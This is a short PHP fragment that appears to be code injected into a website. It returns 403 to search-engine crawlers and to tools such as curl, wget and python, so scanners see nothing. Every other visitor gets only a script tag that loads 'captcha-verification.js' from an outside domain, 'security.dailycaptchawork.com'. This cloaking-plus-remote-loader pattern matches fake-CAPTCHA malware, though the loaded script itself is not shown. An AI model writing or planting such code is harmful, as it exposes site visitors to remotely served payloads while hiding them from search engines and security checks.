session_start();

$knownBots = [
    \'Googlebot\', \'Bingbot\', \'Slurp\', \'DuckDuckBot\', \'Baiduspider\', \'YandexBot\',
    \'Sogou\', \'Exabot\', \'facebot\', \'ia_archiver\', \'curl\', \'wget\', \'python\', \'httpclient\'
];

$isBot = function ($userAgent, $knownBots) {
    foreach ($knownBots as $bot) {
        if (stripos($userAgent, $bot) !== false) return true;
    }
    return false;
};

$hasValidChallengeCookie = fn() => isset($_COOKIE[\'challenge_token\']) && strlen($_COOKIE[\'challenge_token\']) > 5;
$hasValidChallengeSession = fn() => !empty($_SESSION[\'challenge_session\']);

$setChallengeCookie = function () {
    $token = bin2hex(random_bytes(16));
    setcookie(\'challenge_token\', $token, time() + 3600, \'/\', \'\', false, true);
    return $token;
};

$setChallengeSession = fn() => $_SESSION[\'challenge_session\'] = time();

$userAgent = $_SERVER[\'HTTP_USER_AGENT\'] ?? \'\';
$ipAddress = $_SERVER[\'REMOTE_ADDR\'] ?? \'\';

if ($isBot($userAgent, $knownBots)) {
    header(\'HTTP/1.1 403 Forbidden\');
    exit("Access denied. Bots are not allowed.");
}

if (!$hasValidChallengeCookie() || !$hasValidChallengeSession()) {
    $setChallengeCookie();
    $setChallengeSession();
    exit("<script src=\'https://security.dailycaptchawork.com/captcha-verification.js\' data-publisher_key=\'347dfgdfgdfjdf78!3dsdsd7438478\'></script>");
}